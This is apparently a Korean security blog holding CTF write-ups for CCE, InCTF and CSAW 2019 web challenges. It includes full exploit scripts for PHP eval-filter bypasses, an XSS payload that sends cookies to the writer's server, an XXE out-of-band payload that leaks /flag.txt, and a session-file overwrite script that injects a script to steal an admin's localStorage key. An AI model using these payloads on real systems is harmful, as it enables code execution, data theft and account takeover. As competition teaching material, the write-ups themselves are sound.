오랜만에 팀원들이랑 오프라인으로 모여서 재밌게 한 대회였다. Defenit 으로 참가했고 11등을 했다. 대회같은경우 엄청 재밌기도 했는데 대회를 진행하면서 그냥 엄청나게 반성을 했다. 


개인적으로 푼 문제가 웹 3개였는데, 이거 세개 푸는데 걸린시간이 2시간도 안됬고 나머지 13시간을 거의 무기력하게 보냈다. 0,1 솔브짜리 웹 문제들 이런걸 풀 수 있어야 되는데 실력 부족+쫄아서 대충보고 손절하는 습관 이게 너무 크게 와닿았다. 

그리고 웹빼고는 다 너무 어중간하게 공부해서 뭘 할만한게 없었다. 하나도 똑바로 못한다고 자꾸 분야 편식하면서 공부했는데, 그냥 공부량을 엄청나게 늘려서 이것저것 다 해봐야겠다고 생각했다. 

     

뭔가 전환점 같은게 필요했는데 스스로 바뀌어야 된다는걸 좀 뼈져리게 느꼈고, 지금보다 훨씬 더 많이 공부해야겠다고 다짐하게 됐다. 


푼 문제들 같은 경우 대회종료 후 바로 서버가 닫혀서 제출용으로 쓴 간단한 롸업밖에 없는데 일단 이거 올리고 나중에 서버 열리면 자세히 다시 적어보도록 하겠다. 


CCE_Web_Writeup.md


'CTF > Writeup' 카테고리의 다른 글

Christmas CTF 2019 Write up  (4) 2019.12.30
ASIS CTF 2019 Final Web Write up  (0) 2019.11.18
InCTF 2019 Web Write up  (0) 2019.09.23
CSAW CTF 2019 Web Write up  (0) 2019.09.16
DefCamp CTF 2019 Web Write up  (0) 2019.09.09
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Canhack.me MD5 Table

2019. 9. 24. 21:13

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Copy-Cat


해당 문제는 개인적으로 재밌게 푼 문제라 자세하게 적어볼겸 팀 블로그에 작성하였습니다.


https://defenit.kr/2019/09/24/Web/%E3%84%B4%20WriteUps/InCTF_2019_Copy-Cat_Writeup/



PHP+1


source.php


<?php

$input 
$_GET['input'];

function 
check(){
  global 
$input;
  foreach (
get_defined_functions()['internal'] as $blacklisted) {
      if (
preg_match ('/' $blacklisted '/im'$input)) {
          echo 
"Your input is blacklisted" "<br>";
          return 
true;
          break;
      }
  }
  
$blacklist "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
  unset(
$blacklist);
  return 
false;
}

$thisfille=$_GET['thisfile'];

if(
is_file($thisfille)){
  echo 
"You can't use inner file" "<br>";
}
else{
  if(
file_exists($thisfille)){
    if(
check()){
      echo 
"Naaah" "<br>";
    }else{
      eval(
$input);
    }
  }else{
    echo 
"File doesn't exist" "<br>";
  }

}

function 
iterate($ass){
    foreach(
$ass as $hole){
        echo 
"AssHole";
    }
}

highlight_file(__FILE__);
?>


특문 필터가 안걸려있어서 그냥 ~로 비트연산해서 assert,eval 써준 담에 proc_open 써주면 된다.


payload = /?thisfile=/etc/&input=${~%A0%B8%BA%AB}{0}(${~%A0%B8%BA%AB}{1});&0=assert&1=eval($_GET[2])&2=%24%64%65%73%63%72%3d%61%72%72%61%79%28%30%3d%3e%61%72%72%61%79%28%22%70%69%70%65%22%2c%22%72%22%29%2c%31%3d%3e%61%72%72%61%79%28%22%70%69%70%65%22%2c%22%77%22%29%2c%32%3d%3e%61%72%72%61%79%28%22%70%69%70%65%22%2c%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%22%77%22%0d%0a%20%20%20%20%20%20%20%20%29%0d%0a%20%20%20%20%29%3b%0d%0a%20%20%20%20%24%70%69%70%65%73%20%3d%20%61%72%72%61%79%28%29%3b%0d%0a%20%20%20%20%24%70%72%6f%63%65%73%73%20%3d%20%70%72%6f%63%5f%6f%70%65%6e%28%22%2f%72%65%61%64%46%6c%61%67%22%2c%20%24%64%65%73%63%72%2c%20%24%70%69%70%65%73%29%3b%0d%0a%20%20%20%20%69%66%20%28%69%73%5f%72%65%73%6f%75%72%63%65%28%24%70%72%6f%63%65%73%73%29%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%77%68%69%6c%65%20%28%24%66%20%3d%20%66%67%65%74%73%28%24%70%69%70%65%73%5b%31%5d%29%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%65%63%68%6f%20%22%2d%70%69%70%65%20%31%2d%2d%2d%3e%22%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%65%63%68%6f%20%24%66%3b%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%66%63%6c%6f%73%65%28%24%70%69%70%65%73%5b%31%5d%29%3b%0d%0a%20%20%20%20%20%20%20%20%77%68%69%6c%65%20%28%24%66%20%3d%20%66%67%65%74%73%28%24%70%69%70%65%73%5b%32%5d%29%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%65%63%68%6f%20%22%2d%70%69%70%65%20%32%2d%2d%2d%3e%22%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%65%63%68%6f%20%24%66%3b%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%66%63%6c%6f%73%65%28%24%70%69%70%65%73%5b%32%5d%29%3b%0d%0a%20%20%20%20%20%20%20%20%70%72%6f%63%5f%63%6c%6f%73%65%28%24%70%72%6f%63%65%73%73%29%3b%0d%0a%7d%0d%0a


 

PHP+1.5


source.php


<?php

$input 
$_GET['input'];

function 
check(){
  global 
$input;
  foreach (
get_defined_functions()['internal'] as $blacklisted) {
      if (
preg_match ('/' $blacklisted '/im'$input)) {
          echo 
"Your input is blacklisted" "<br>";
          return 
true;
          break;
      }
  }
  
$blacklist "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
  if(
preg_match("/$blacklist/i"$input)){
    echo 
"Do you really you need that?" "<br>";
    return 
true;
  }

  unset(
$blacklist);
  return 
false;
}

$thisfille=$_GET['thisfile'];

if(
is_file($thisfille)){
  echo 
"You can't use inner file" "<br>";
}
else{
  if(
file_exists($thisfille)){
    if(
check()){
      echo 
"Naaah" "<br>";
    }else{
      eval(
$input);
    }
  }else{
    echo 
"File doesn't exist" "<br>";
  }

}

function 
iterate($ass){
    foreach(
$ass as $hole){
        echo 
"AssHole";
    }
}

highlight_file(__FILE__);
?>


특문 필터가 추가됬다. 근데 비트연산 중 ^가 필터 안된다. 이걸로 assert랑 eval만들어서 실행해주면 되고 그담엔 똑같이 proc_open 써주면 된다.


exploit.py


import requests

import urllib


def generate_string(input):

    result_1 = ""

    result_2 = ""

    for k in range(0,len(input)):

        for i in range(127,256):

            break_flag = 0

            for j in range(127,256):

                if (i^j)==ord(input[k]):

                    result_1 += "%" + hex(i)[2:]

                    result_2 += "%" + hex(j)[2:]

                    break_flag = 1

                    break

            if break_flag==1:

                break


    return result_1 + "^" + result_2


def exploit(payload,shell_command):

    url = "http://18.223.159.46/"

    params = {"thisfile":"/etc/","input":payload,"cmd":shell_command}

    result = requests.get(url,params=params).text

    print result

    return result


payload = "$a="+generate_string("assert")+";"

payload += "$a("+generate_string("eval($_GET['cmd']);")+");"


shell_command = """

$descr=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe",

            "w"

        )

    );

    $pipes = array();

    $process = proc_open("/readFlag", $descr, $pipes);

    if (is_resource($process)) {

        while ($f = fgets($pipes[1])) {

            echo "-pipe 1--->";

            echo $f;

        }

        fclose($pipes[1]);

        while ($f = fgets($pipes[2])) {

            echo "-pipe 2--->";

            echo $f;

        }

        fclose($pipes[2]);

        proc_close($process);

}

"""

exploit(urllib.unquote(payload),shell_command)



PHP+2.5


source.php


<?php

$input 
$_GET['input'];

function 
check(){
  global 
$input;
  foreach (
get_defined_functions()['internal'] as $blacklisted) {
      if (
preg_match ('/' $blacklisted '/im'$input)) {
          echo 
"Your input is blacklisted" "<br>";
          return 
true;
          break;
      }
  }
  
$blacklist "exit|die|eval|\[|\]|\\\|\*|`|-|\+|~|\{|\}|\"|\'";
  if(
preg_match("/$blacklist/i"$input)){
    echo 
"Do you really you need that?" "<br>";
    return 
true;
  }

  unset(
$blacklist);
  if(
strlen($input)>100){  #That is random no. I took ;)
    
echo "This is getting really large input..." "<br>";
    return 
true;
  }  
  return 
false;
}

$thisfille=$_GET['thisfile'];

if(
is_file($thisfille)){
  echo 
"You can't use inner file" "<br>";
}
else{
  if(
file_exists($thisfille)){
    if(
check()){
      echo 
"Naaah" "<br>";
    }else{
      eval(
$input);
    }
  }else{
    echo 
"File doesn't exist" "<br>";
  }

}

function 
iterate($ass){
    foreach(
$ass as $hole){
        echo 
"AssHole";
    }
}

highlight_file(__FILE__);
?>


1.5에서 문자열 길이 제한이 추가됬다. 근데이건 이전 문제에서 쓴것도 애초에 길이제한 안걸리는 방식으로 풀어서 문제가 안된다. 해당 문제는 사실 중간에 2.0버전이 있었고 2.5버전이 2.0버전 업그레이드 버전인 것 같은데 문제 출제하신분이 실수로 proc_open을 안막아놔서 언인텐으로 엄청 많이 풀린 것 같다. 실제로 2.0버전은 proc_open이 막혀있고 솔버가 1명인데 2.5버전은 해당 함수가 풀려있고 솔버가 훨씬 많다. 플래그 보면 세그먼트 폴트로 쉘 따는걸 의도하신 것 같은데 이건 따로 더 풀어봐야겠따.

익스는 2.0버전에서 assert가 안먹혀서 길이제한 맞춘다고 create_function 쓰던걸 그대로 썼다.


exploit.py


import requests

import urllib


def generate_string(input):

    result_1 = ""

    result_2 = ""

    for k in range(0,len(input)):

        for i in range(127,256):

            break_flag = 0

            for j in range(127,256):

                if (i^j)==ord(input[k]):

                    result_1 += "%" + hex(i)[2:]

                    result_2 += "%" + hex(j)[2:]

                    break_flag = 1

                    break

            if break_flag==1:

                break


    return result_1 + "^" + result_2


def exploit(payload,shell_command):

    url = "http://3.16.218.96/"

    params = {"thisfile":"/etc/","input":payload,"cmd":shell_command}

    result = requests.get(url,params=params).text

    print result

    return result


payload = "$a="+generate_string("create_function")+";"

payload += "$a("+generate_string(" ")+","+generate_string("}eval($_GET['cmd']);//")+");"

shell_command = """

$descr=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe",

            "w"

        )

    );

    $pipes = array();

    $process = proc_open("/readFlag", $descr, $pipes);

    if (is_resource($process)) {

        while ($f = fgets($pipes[1])) {

            echo "-pipe 1--->";

            echo $f;

        }

        fclose($pipes[1]);

        while ($f = fgets($pipes[2])) {

            echo "-pipe 2--->";

            echo $f;

        }

        fclose($pipes[2]);

        proc_close($process);

}

"""

exploit(urllib.unquote(payload),shell_command)



s3cur3-r3v


line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   2     0  E >   NOP                                                      
  51     1        FETCH_R                      global              $1      '_GET'
         2        FETCH_DIM_R                                      $2      $1, 'flag'
         3        ASSIGN                                                   !0, $2
  53     4        FETCH_IS                                         $4      '_GET'
         5        ISSET_ISEMPTY_DIM_OBJ                       33554432  ~5      $4, 'flag'
         6      > JMPZ                                                     ~5, ->10
  54     7    >   INIT_FCALL                                               'printflag'
         8        SEND_VAR                                                 !0
         9        DO_FCALL                                      0          
  58    10    > > RETURN                                                   1

line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   2     0  E >   RECV                                             !0      
   3     1        ASSIGN                                                   !1, 'Yaay+here+is+your+flag%3A+'
   4     2        ASSIGN                                                   !2, 'Naay+try+harder+%21%21%21'
   6     3        BIND_GLOBAL                                              !3, 'flag'
   8     4        ASSIGN                                                   !4, ''
  10     5        ASSIGN                                                   !5, 32
         6      > JMP                                                      ->13
  12     7    >   INIT_FCALL                                               'chr'
         8        SEND_VAR                                                 !5
         9        DO_ICALL                                         $16     
        10        ASSIGN_CONCAT                                 0          !4, $16
  10    11        POST_INC                                         ~18     !5
        12        FREE                                                     ~18
        13    >   IS_SMALLER                                       ~19     !5, 97
        14      > JMPNZ                                                    ~19, ->7
  15    15    >   STRLEN                                           ~20     !0
        16        MOD                                              ~21     ~20, 4
        17        IS_NOT_EQUAL                                     ~22     ~21, 0
        18      > JMPZ                                                     ~22, ->20
  17    19    > > EXIT                                                     'BAD+INPUT'
  20    20    >   STRLEN                                           ~24     !0
        21        MUL                                              ~25     ~24, 3
        22        DIV                                              ~26     ~25, 4
        23        INIT_FCALL                                               'strrpos'
        24        SEND_VAR                                                 !0
        25        SEND_VAL                                                 '%60'
        26        DO_ICALL                                         $27     
        27        IS_SMALLER                                       ~28     0, $27
        28      > JMPZ                                                     ~28, ->37
        29    >   STRLEN                                           ~29     !0
        30        INIT_FCALL                                               'strrpos'
        31        SEND_VAR                                                 !0
        32        SEND_VAL                                                 '%60'
        33        DO_ICALL                                         $30     
        34        SUB                                              ~31     ~29, $30
        35        QM_ASSIGN                                        ~32     ~31
        36      > JMP                                                      ->38
        37    >   QM_ASSIGN                                        ~32     0
        38    >   SUB                                              ~33     ~26, ~32
        39        ASSIGN_DIM                                               !6
        40        OP_DATA                                                  ~33
  21    41        INIT_FCALL                                               'str_split'
        42        SEND_VAR                                                 !0
        43        DO_ICALL                                         $34     
        44        ASSIGN                                                   !7, $34
  22    45        ASSIGN                                                   !8, 0
  23    46        ASSIGN                                                   !9, 
  24    47        ASSIGN                                                   !5, 0
        48      > JMP                                                      ->110
  25    49    >   INIT_FCALL                                               'strpos'
        50        SEND_VAR                                                 !4
        51        FETCH_DIM_R                                      $40     !7, !5
        52        SEND_VAR                                                 $40
        53        DO_ICALL                                         $41     
        54        ASSIGN_DIM                                               !9, 0
        55        OP_DATA                                                  $41
  26    56        INIT_FCALL                                               'strpos'
        57        SEND_VAR                                                 !4
        58        ADD                                              ~43     !5, 1
        59        FETCH_DIM_R                                      $44     !7, ~43
        60        SEND_VAR                                                 $44
        61        DO_ICALL                                         $45     
        62        ASSIGN_DIM                                               !9, 1
        63        OP_DATA                                                  $45
  27    64        INIT_FCALL                                               'strpos'
        65        SEND_VAR                                                 !4
        66        ADD                                              ~47     !5, 2
        67        FETCH_DIM_R                                      $48     !7, ~47
        68        SEND_VAR                                                 $48
        69        DO_ICALL                                         $49     
        70        ASSIGN_DIM                                               !9, 2
        71        OP_DATA                                                  $49
  28    72        INIT_FCALL                                               'strpos'
        73        SEND_VAR                                                 !4
        74        ADD                                              ~51     !5, 3
        75        FETCH_DIM_R                                      $52     !7, ~51
        76        SEND_VAR                                                 $52
        77        DO_ICALL                                         $53     
        78        ASSIGN_DIM                                               !9, 3
        79        OP_DATA                                                  $53
  29    80        POST_INC                                         ~54     !8
        81        FETCH_DIM_R                                      $56     !9, 0
        82        SL                                               ~57     $56, 2
        83        FETCH_DIM_R                                      $58     !9, 1
        84        SR                                               ~59     $58, 4
        85        BW_OR                                            ~60     ~57, ~59
        86        ASSIGN_DIM                                               !6, ~54
        87        OP_DATA                                                  ~60
  30    88        FETCH_DIM_R                                      $61     !9, 2
        89        IS_SMALLER                                       ~62     $61, 64
        90      > JMPZ                                                     ~62, ->109
  31    91    >   POST_INC                                         ~63     !8
        92        FETCH_DIM_R                                      $65     !9, 1
        93        SL                                               ~66     $65, 4
        94        FETCH_DIM_R                                      $67     !9, 2
        95        SR                                               ~68     $67, 2
        96        BW_OR                                            ~69     ~66, ~68
        97        ASSIGN_DIM                                               !6, ~63
        98        OP_DATA                                                  ~69
  32    99        FETCH_DIM_R                                      $70     !9, 3
       100        IS_SMALLER                                       ~71     $70, 64
       101      > JMPZ                                                     ~71, ->109
  33   102    >   POST_INC                                         ~72     !8
       103        FETCH_DIM_R                                      $74     !9, 2
       104        SL                                               ~75     $74, 6
       105        FETCH_DIM_R                                      $76     !9, 3
       106        BW_OR                                            ~77     ~75, $76
       107        ASSIGN_DIM                                               !6, ~72
       108        OP_DATA                                                  ~77
  24   109    >   ASSIGN_ADD                                    0          !5, 4
       110    >   INIT_FCALL                                               'count'
       111        SEND_VAR                                                 !7
       112        DO_ICALL                                         $79     
       113        IS_SMALLER                                       ~80     !5, $79
       114      > JMPNZ                                                    ~80, ->49
  37   115    >   ASSIGN                                                   !10, ''
  38   116        ASSIGN                                                   !5, 0
       117      > JMP                                                      ->125
  40   118    >   INIT_FCALL                                               'chr'
       119        FETCH_DIM_R                                      $83     !6, !5
       120        SEND_VAR                                                 $83
       121        DO_ICALL                                         $84     
       122        ASSIGN_CONCAT                                 0          !10, $84
  38   123        POST_INC                                         ~86     !5
       124        FREE                                                     ~86
       125    >   INIT_FCALL                                               'count'
       126        SEND_VAR                                                 !6
       127        DO_ICALL                                         $87     
       128        IS_SMALLER                                       ~88     !5, $87
       129      > JMPNZ                                                    ~88, ->118
  42   130    >   ASSIGN                                                   !11, 'YtPEU%10E%24%19%5DV%11UE%92E%04%D8%5De%99%5D5RQ%25SAU%98YuVU%16%10e%85%D1I%96%13Y%96%17M%85%D6E%85%D6Q%04V'
  43   131        IS_IDENTICAL                                     ~90     !10, !11
       132      > JMPZ                                                     ~90, ->136
  44   133    >   CONCAT                                           ~91     !1, !3
       134        ECHO                                                     ~91
       135      > JMP                                                      ->137
  47   136    >   ECHO                                                     !2
  49   137    > > RETURN                                                   null


zend engine opcode 분석 문제다. 해당 opcode를 한땀한땀 분석해서 php 코드로 변환한 뒤 코드 분석해서 플래그 띄우는 인풋 구해주면 된다.


change.php


<?php


function printflag($input){

$success_message = "Yaay+here+is+your+flag%3A+";

$fail_message = "Naay+try+harder+%21%21%21";

global $flag;


$string_list = ""; 

$string_count = 32;


for ($string_count; $string_count<97; $string_count++){

$string_list .= (string)chr($string_count);

}


$input_mod_4 = strlen($input) % 4;


if ($input_mod_4 != 0){

exit("BAD INPUT");

}


$input_new_length = strlen($input) * 3 / 4;


if(strrpos($input,"`")>0){

$check_input = strlen($input) - strrpos($input,"`");

}

else{

$check_input = 0;

}


$input_array = str_split($input);

$tmp_array = array();

$calc_input_count = 0;


for ($i=0; $i<count($input_array); $i+=4){

$tmp_array[0] = strpos($string_list,$input_array[$i]);

$tmp_array[1] = strpos($string_list,$input_array[$i+1]);

$tmp_array[2] = strpos($string_list,$input_array[$i+2]);

$tmp_array[3] = strpos($string_list,$input_array[$i+3]);



$calc_input_result_array[$calc_input_count] = ($tmp_array[0]<<2) | ($tmp_array[1]>>4);

$calc_input_count += 1;


if ($tmp_array[2]<64){

$calc_input_result_array[$calc_input_count] = ($tmp_array[1]<<4) | ($tmp_array[2]>>2);

$calc_input_count += 1;

}

else{

continue;

}


if ($tmp_array[3]<64){

$calc_input_result_array[$calc_input_count] = ($tmp_array[2]<<6) | ($tmp_array[3]);

$calc_input_count += 1;

}

}

$result = "";

var_dump($calc_input_result_array);

echo "\n";

for ($i=0;$i<count($calc_input_result_array);$i++){

$result.=chr($calc_input_result_array[$i]);

}


if ("YtPEU\x10E\x24\x19\x5DV\x11UE\x92E\x04\xD8\x5De\x99\x5D5RQ\x25SAU\x98YuVU\x16\x10e\x85\xD1I\x96\x13Y\x96\x17M\x85\xD6E\x85\xD6Q\x04V"==$result){

echo "suc";

}

else{

echo "fail";

}

}


$input = $_GET['flag'];


if (!isset($_GET['flag'])){

echo "not Exist Input";

return;

}

else{

printflag($input);

}


exploit.py


import requests string_table = """ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`""" enc_text = "YtPEU\x10E\x24\x19\x5DV\x11UE\x92E\x04\xD8\x5De\x99\x5D5RQ\x25SAU\x98YuVU\x16\x10e\x85\xD1I\x96\x13Y\x96\x17M\x85\xD6E\x85\xD6Q\x04V" input = "" for p in range(0,len(enc_text),3): find_result = enc_text[p:p+3] for i in range(0,65): for j in range(0,65): if ((i<<2) | (j>>4))%256 == ord(find_result[0]): for k in range(0,64): if ((j<<4) | (k>>2))%256 == ord(find_result[1]): for a in range(0,64): if ((k << 6) | a)%256 == ord(find_result[2]): print "count " + str(p) + " = " + string_table[i]+string_table[j]+string_table[k]+string_table[a] + " -> " + find_result input += string_table[i]+string_table[j]+string_table[k]+string_table[a] print "Find Input = " + input

url ="http://3.15.186.35/?flag="+input

print requests.get(url).text



















'CTF > Writeup' 카테고리의 다른 글

ASIS CTF 2019 Final Web Write up  (0) 2019.11.18
CCE(사이버공격방어대회) 2019 Write up  (0) 2019.09.29
CSAW CTF 2019 Web Write up  (0) 2019.09.16
DefCamp CTF 2019 Web Write up  (0) 2019.09.09
2019 사이버작전 경연대회 THE CAMP  (0) 2019.08.17
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Javascript Prototype Pollution

2019. 9. 21. 10:56

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

root-me XSLT - Code execution

2019. 9. 21. 01:09

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Canhack.me Redirect3

2019. 9. 16. 22:41

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

Baby CSP

stored xss가 터지는데 csp가 걸려있다. 룰은 아래와 같다.

default-src 'self'; script-src 'self' *.google.com; connect-src *

대놓고 jsonp쓰라고 알려주고 있다. google.com 서브도메인 아무거나 찾아서 공격해주면 된다.

payload = <script src="https://accounts.google.com/o/oauth2/revoke?callback=location.href='http://my_ip/'.concat(document.cookie);"></script>

flag = flag{csp_will_solve_EVERYTHING}


unagi

xxe가 있는데 필터링이 존재한다. ENTITY , SYSTEM 등 xxe 할 때 쓸만한 문자열들을 다 필터하고 있는데 인코딩을 utf-16be형태 써서 우회해주면 된다.

이걸로 필터 우회해주면 인풋으로 뿌려지는 값 길이가 죄다 짧아서 플래그 파일 내용이 제대로 안나오는데 이건 그냥 OOB로 우회해주면 된다.

payload.xml

printf '%s' '<?xml version="1.0" encoding="UTF-16BE"'> payload

printf '%s' '?><!DOCTYPE svg [<!ENTITY % dtd SYSTEM "http://my_ip/evil.dtd">%dtd;%param1;]><users><user><name>&ssr;</name></user></users>' | iconv -f utf-8 -t utf-16be >> payload


evild.dtd

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag.txt">

<!ENTITY % param1 "<!ENTITY ssr SYSTEM 'http://my_ip:9999/%data;'>">


flag = flag{n0w_i'm_s@d_cuz_y0u_g3t_th3_fl4g_but_c0ngr4ts}


Secure File Storage

개인적으로 재밌게 푼 문제다.

문제에서 제공해주는 소스는 다음과 같다.

client.py

import base64

import getpass

import os

import sys

import requests


api_base = os.environ.get('SFS_API', 'http://web.chal.csaw.io:1000/api/v1/')


session = requests.Session()


def api_register(username, password):

    resp = session.post(api_base + 'register', data={"username": username, "password": password}).json()

    return resp['status'] == 'ok'


def api_login(username, password):

    resp = session.post(api_base + 'login', data={"username": username, "password": password}).json()

    return resp['status'] == 'ok'


def api_get_file(path):

    resp = session.post(api_base + 'file/read', data={"path": path})

    if resp.status_code == 200:

        return base64.b64decode(resp.content)

    return None


def api_update_file(path, content):

    resp = session.post(api_base + 'file/edit', data={"path": path, "content": base64.b64encode(content).decode('ascii')}).json()

    return resp['status'] == 'ok'


def api_create_file(path, content):

    return api_update_file(path, content)


def api_delete_file(path):

    resp = session.post(api_base + 'file/delete', data={"path": path}).json()

    return resp['status'] == 'ok'


def api_list_files(path='/'):

    resp = session.post(api_base + 'file/list', data={"path": path}).json()

    if resp['status'] == 'ok':

        return resp['data']

    return None


def api_create_symlink(path, target):

    resp = session.post(api_base + 'file/symlink', data={"path": path, "target": target}).json()

    return resp['status'] == 'ok'


if __name__ == "__main__":

    try:

        input = raw_input

    except NameError:

        pass


    username = os.environ.get('SFS_USERNAME')

    if username is None:

        username = input('Username: ')


    password = os.environ.get('SFS_PASSWORD')

    if password is None:

        password = getpass.getpass('Password: ')


    if not api_login(username, password):

        print("Invalid username or password")

        sys.exit(1)

해당 코드를 통해 직접 api 기능을 요청해보면 로그인한 계정의 현재 경로에는 파일 읽기,쓰기가 되는데 다른 경로로 요청하면 경로 검증을 하고있었다.

이걸 우회하기위해 symlink 기능을 사용해주면 되는데, 현재 경로에 내가 읽고싶거나 덮고싶은 파일을 대상으로 심볼릭 링크를 걸어주면 된다.

이걸로 소스코드를 쭉쭉 leak 해보면 아래와 같이 내가 생성한 일반 계정과 같은 경우 읽기,쓰기 권한만 있고 리스팅,어드민 권한이 없는걸 볼 수 있다.

<?php


require_once 'db.php';


abstract class Privilege {

    const FILE_READ = 1 << 0;

    const FILE_WRITE = 1 << 1;

    const FILE_LIST = 1 << 2;

    const ADMIN = 1 << 3;

}


class User extends DBObject {

    public $username;

    public $password;

    public $privs = Privilege::FILE_READ | Privilege::FILE_WRITE;


    public static function getByName(string $username) {

        return DB::getObjectByProp(get_called_class(), "username", $username);

    }

}

문제에서는 어드민 파일을 찾으라고 했고, listing 기능이 존재하는걸 보니 해당 기능을 써야될 것 같다는 생각이 들었고, 어떻게 해야할지 생각하다가 그냥 session 파일을 수정해버리면 되겟다고 생각했다.

path=1234567&target=../../../../../../../../tmp/sess_huqtp469i1ni15bs96tfpgq7p7 

이런식으로 링크 걸고 읽어보면 현재 내가 로그인한 계정의 객체 정보가 아래와 같이 박혀있는걸 볼 수 있었다.

current_user|O:4:"User":4:{s:8:"username";s:23:"asdfasdgsadfasdgasdgasd";s:8:"password";s:60:"$2y$10$RArHdDvtipJfkfCQ3KxEe.n9eAYQJLQMOto5CEEmiM.6X9AU162Hq";s:5:"privs";i:3;s:2:"id";i:242;}

여기서 privs가 계정의 권한이었는데 아래와 같이 이걸 15로 바꿔서 리스팅,어드민 권한까지 추가해주니 관리자 페이지, 리스팅 기능 사용이 가능해졌다.

current_user|O:4:"User":4:{s:8:"username";s:23:"asdfasdgsadfasdgasdgasd";s:8:"password";s:60:"$2y$10$RArHdDvtipJfkfCQ3KxEe.n9eAYQJLQMOto5CEEmiM.6X9AU162Hq";s:5:"privs";i:15;s:2:"id";i:242;}

여기서 이제 됬구나하고 리스팅 열심히 하면서 플래그 파일이랑 어드민 관련 파일 같은걸 찾아봤는데 암것도 없었다.

뭐지 하다 어드민 계정이 업로드한 디렉토리에 존재하는 flag.txt를 읽어보니 아래와 같이 암호화된 값이 박혀있는걸 볼 수 있었다.

flag.txt

U2FsdGVkX18vg7gzzc/Q2XG2O5vpgFvBvX7nv4mLxfsuKQxvSrMjHu11kDPfUIYVtJ9b5ohVP7olboQV5MDOjQ==

이 값과 같은 경우 해당 문제에서 파일을 업로드 할 때 파일 내용을 localStorage의 키 값을 통해 암호화해서 저장하고 있기 때문에 admin의 localStorage key값을 leak해야 했다.

이걸 가능하게 하려면 xss를 터트리는 수밖에 없어서 코드를 유심히 보니 admin이 로그인한 세션에 username값에 스크립트를 박아넣으면 admin이 admin page에 접근할때 xss가 터져서 key값을 leak할 수 있겠다 싶었다.

그래서 이 시나리오대로 진행하려고 어드민 session을 찾기 위해 tmp 디렉토리에 있는 session 파일을 리스팅해보니 한 3만개정도가 있었다...ㅋㅋ

너무 많아서 당황했다가 일단 합리적으로 생각을 해보기로 했고, admin 봇이 지속적으로 새로운 세션을 통해 로그인하고 있지 않을까? 라는 생각에 리스팅을 연속으로 두번진행해서 새로 생긴 세션에 대해 xss를 박아넣어면 하고 아래 코드를 미친듯이 돌려봤다.

import requests

import json


def get_list(file_path):

    url = "http://web.chal.csaw.io:1001/api/v1/file/list"

    header = {"Cookie": "PHPSESSID=huqtp469i1ni15bs96tfpgq7p7"}

    data = {"path": file_path}

    result = requests.post(url, data=data, headers=header).text

    a = json.loads(result)

    result = a['data']

    return result


def link(file_path):

    url = "http://web.chal.csaw.io:1001/api/v1/file/symlink"

    header = {"Cookie":"PHPSESSID=huqtp469i1ni15bs96tfpgq7p7"}

    data = {"path":"12345","target":file_path}

    result = requests.post(url,data=data,headers=header).text

    if "ok" not in result:

        print "Fail Path !! = " + file_path


def read(file_path):

    url = "http://web.chal.csaw.io:1001/api/v1/file/read"

    header = {"Cookie": "PHPSESSID=huqtp469i1ni15bs96tfpgq7p7"}

    data = {"path": "12345"}

    result = requests.post(url, data=data,headers=header).text

    if 'current_user|O:4:"User' in result:

        print file_path

        print result

def edit(file_path):

    url = "http://web.chal.csaw.io:1001/api/v1/file/edit"

    header = {"Cookie": "PHPSESSID=huqtp469i1ni15bs96tfpgq7p7"}

    data = {"path": "12345","content":"""current_user|O:4:"User":4:{s:8:"username";s:104:"<script>location.replace('http://my_ip/?d='.concat(localStorage.encryptSecret));</script>";s:8:"password";s:60:"$2y$10$AxHUirflQ7PbIt871V3f.eqqA/9SVxNenqCzlkAa99TlszFoHq.lO";s:5:"privs";i:15;s:2:"id";i:1;}"""}

    result = requests.post(url, data=data,headers=header).text

    if "ok" not in result:

        print "Fail Path !! = " + file_path


for k in range(0,100):

    

    list_1 = get_list("123456")

    list_2 = get_list("123456")

    result = list(set(list_2) - set(list_1))

    print result


    for i in range(0,len(result)):

        file_path = "../../../../../../../../tmp/" + result[i]

        link(file_path)

        read(file_path)

        edit(file_path)

        read(file_path)

한참 돌리니까 새로 생긴 세션 중에 admin 권한을 가진 세션도 있었고, 해당 세션을 overwrite해서 xss박으니까 가끔 key값이 날라오긴 했는데, 이게 진짜 어드민이 아니고 죄다 다른 문제푸는 사람이었다..ㅋㅋ

그래서 한참 고민하다 admin이 계속 고정된 세션을 유지하고 있는거면 대충 3만개 중에 진짜 어드민 세션이 있을거고, 이중에서 username이 admin이고 priv가 15, id가 1인애만 어떻게 찾으면 되겠다 싶었다.

그리고 이 생각대로 쭉 진행해봤는데 위에서 admin이라고 판별한 기준인 파일들이 엄청 많았다. 이게 근데 생각해보니 그냥 문제푸는 사람들이 세션 파일 내용 오버라이트가 가능하니까 admin이라고 보이는 객체를 엄청나게 생성해서 세션 파일 내용만가지고 도저히 어느게 진짜 admin session인지 구분할 수가 없었다.

